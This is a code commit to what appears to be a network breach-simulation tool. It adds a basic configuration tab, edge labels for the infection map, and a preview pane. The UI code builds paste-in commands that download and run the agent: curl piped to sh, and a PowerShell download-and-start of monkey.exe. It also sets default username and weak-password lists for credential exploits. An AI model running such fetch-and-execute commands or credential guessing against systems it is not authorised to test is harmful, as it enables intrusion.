Add basic config tab

Add actual snippets for windows+linux 32/64
Add support for edges info in graph
This commit is contained in:
Itay Mizeretz 2017-09-18 15:35:45 +03:00
parent 385fa22b80
commit 41cc0202c5
6 changed files with 191 additions and 83 deletions

View File

@ -97,6 +97,64 @@ SCHEMA = {
}
},
"properties": {
"basic": {
"title": "Basic",
"type": "object",
"properties": {
"network": {
"title": "Network",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
}
}
},
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
@ -393,41 +451,6 @@ SCHEMA = {
}
}
},
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
@ -605,17 +628,6 @@ SCHEMA = {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",

View File

@ -55,16 +55,13 @@ class EdgeService:
exploit_container["result"] = True
exploit_container["end_timestamp"] = new_exploit["timestamp"]
return \
{
"id": edge["_id"],
"from": edge["from"],
"to": edge["to"],
"ip_address": edge["ip_address"],
"services": services,
"os": os,
"exploits": exploits
}
displayed_edge = EdgeService.edge_to_net_edge(edge)
displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services
displayed_edge["os"] = os
displayed_edge["exploits"] = exploits
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
return displayed_edge
@staticmethod
def exploit_to_displayed_exploit(exploit):
@ -113,13 +110,15 @@ class EdgeService:
@staticmethod
def generate_pseudo_edge(edge_id, edge_from, edge_to):
return \
edge = \
{
"id": edge_id,
"from": edge_from,
"to": edge_to,
"group": "island"
}
edge["_label"] = EdgeService.get_edge_label(edge)
return edge
@staticmethod
def get_monkey_island_pseudo_edges():
@ -184,6 +183,22 @@ class EdgeService:
{"_id": edge["_id"]},
{"$set": {"exploited": True}}
)
cc.services.node.NodeService.set_node_exploited(edge["to"])
@staticmethod
def get_edge_label(edge):
NodeService = cc.services.node.NodeService
from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
to_id = NodeService.get_monkey_by_id(edge["to"])
if to_id is None:
to_label = NodeService.get_node_label(NodeService.get_node_by_id(edge["to"]))
else:
to_label = NodeService.get_monkey_label(to_id)
RIGHT_ARROW = unichr(8594)
return "%s %s %s" % (
from_label,
RIGHT_ARROW,
to_label)

View File

@ -85,7 +85,6 @@ class NodeService:
return True
@staticmethod
def get_monkey_label(monkey):
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]

View File

@ -93,13 +93,12 @@ class MapPageComponent extends React.Component {
.then(res => this.setState({selected: res, selectedType: 'node'}));
}
else if (event.edges.length === 1) {
let edgeGroup = this.state.graph.edges.filter(
let displayedEdge = this.state.graph.edges.find(
function(edge) {
return edge['id'] === event.edges[0];
})[0]['group'];
if (edgeGroup == 'island') {
console.log('selection cleared.'); // eslint-disable-line no-console
this.setState({selected: null, selectedType: null});
});
if (displayedEdge['group'] == 'island') {
this.setState({selected: displayedEdge, selectedType: 'island_edge'});
} else {
fetch('/api/netmap/edge?id='+event.edges[0])
.then(res => res.json())

View File

@ -30,8 +30,16 @@ class RunMonkeyPageComponent extends React.Component {
this.props.onStatusChange();
}
generateCmd(ip) {
return `curl http://${ip}:5000/get-monkey | sh`;
generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64';
return `curl http://${ip}:5000/api/monkey/download/monkey-linux-${bitText} | sh`;
}
generateWindowsCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64';
return `
PowerShell (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','monkey.exe');
Start-Process -FilePath 'monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
}
runLocalMonkey = () => {
@ -50,6 +58,27 @@ class RunMonkeyPageComponent extends React.Component {
});
};
generateCmdDiv(ip, isLinux, is32Bit) {
let cmdText = "";
if (isLinux) {
cmdText = this.generateLinuxCmd(ip, is32Bit);
} else {
cmdText = this.generateWindowsCmd(ip, is32Bit);
}
return (
<Well className="well-sm" style={{'margin': '0.5em'}}>
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
<CopyToClipboard text={cmdText} className="pull-right btn-sm">
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
<Icon name="clipboard"/>
</Button>
</CopyToClipboard>
<code>{cmdText}</code>
</div>
</Well>
)
}
render() {
return (
<Col xs={8}>
@ -83,18 +112,18 @@ class RunMonkeyPageComponent extends React.Component {
<br/>
<span className="text-muted">(The IP address is used as the monkey's C&C address)</span>
</p>
<Well className="well-sm">
{this.state.ips.map(ip =>
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
<CopyToClipboard text={this.generateCmd(ip)} className="pull-right btn-sm">
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
<Icon name="clipboard"/>
</Button>
</CopyToClipboard>
<code>{this.generateCmd(ip)}</code>
</div>
[
this.generateCmdDiv(ip, true, true),
this.generateCmdDiv(ip, true, false),
this.generateCmdDiv(ip, false, true),
this.generateCmdDiv(ip, false, false)
]
)}
</Well>
</div>
<p style={{'fontSize': '1.2em'}}>
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.

View File

@ -30,6 +30,8 @@ class PreviewPaneComponent extends React.Component {
}
infectedAssetInfo(asset) {
// TODO: Have exploit info expandable (show detailed attempts)
// TODO: consider showing scans with exploits on same timeline
return (
<div>
{this.assetInfo(asset)}
@ -50,17 +52,54 @@ class PreviewPaneComponent extends React.Component {
}
infectionInfo(edge) {
return (
<div>
</div>
);
return this.scanInfo(edge);
}
scanInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Operating System</th>
<td>{edge.os.type}</td>
</tr>
<tr>
<th>IP Address</th>
<td>{edge.ip_address}</td>
</tr>
<tr>
<th>Services</th>
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{ edge.exploits.map(exploit =>
<li key={exploit.start_timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}></div>
<div>{exploit.start_timestamp}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
);
}
islandEdgeInfo() {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Communicates directly with island</th>
<td>True</td>
</tr>
</tbody>
</table>
</div>
);
}
@ -71,13 +110,28 @@ class PreviewPaneComponent extends React.Component {
case 'edge':
info = this.props.item.exploits.length ?
this.infectionInfo(this.props.item) : this.scanInfo(this.props.item);
break;
case 'node':
info = this.props.item.exploits.some(exploit => exploit.result) ?
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
break;
case 'island_edge':
info = this.islandEdgeInfo();
break;
}
let label = '';
if (!this.props.item) {
label = '';
} else if (this.props.item.hasOwnProperty('label')) {
label = this.props.item['label'];
} else if (this.props.item.hasOwnProperty('_label')) {
label = this.props.item['_label'];
}
return (
<div className="preview-pane">
{ !this.props.item ?
{ !info ?
<span>
<Icon name="hand-o-left" style={{'marginRight': '0.5em'}}></Icon>
Select an item on the map for a preview
@ -85,7 +139,7 @@ class PreviewPaneComponent extends React.Component {
:
<div>
<h3>
<b>{this.props.item.label}</b>
{label}
</h3>
<hr/>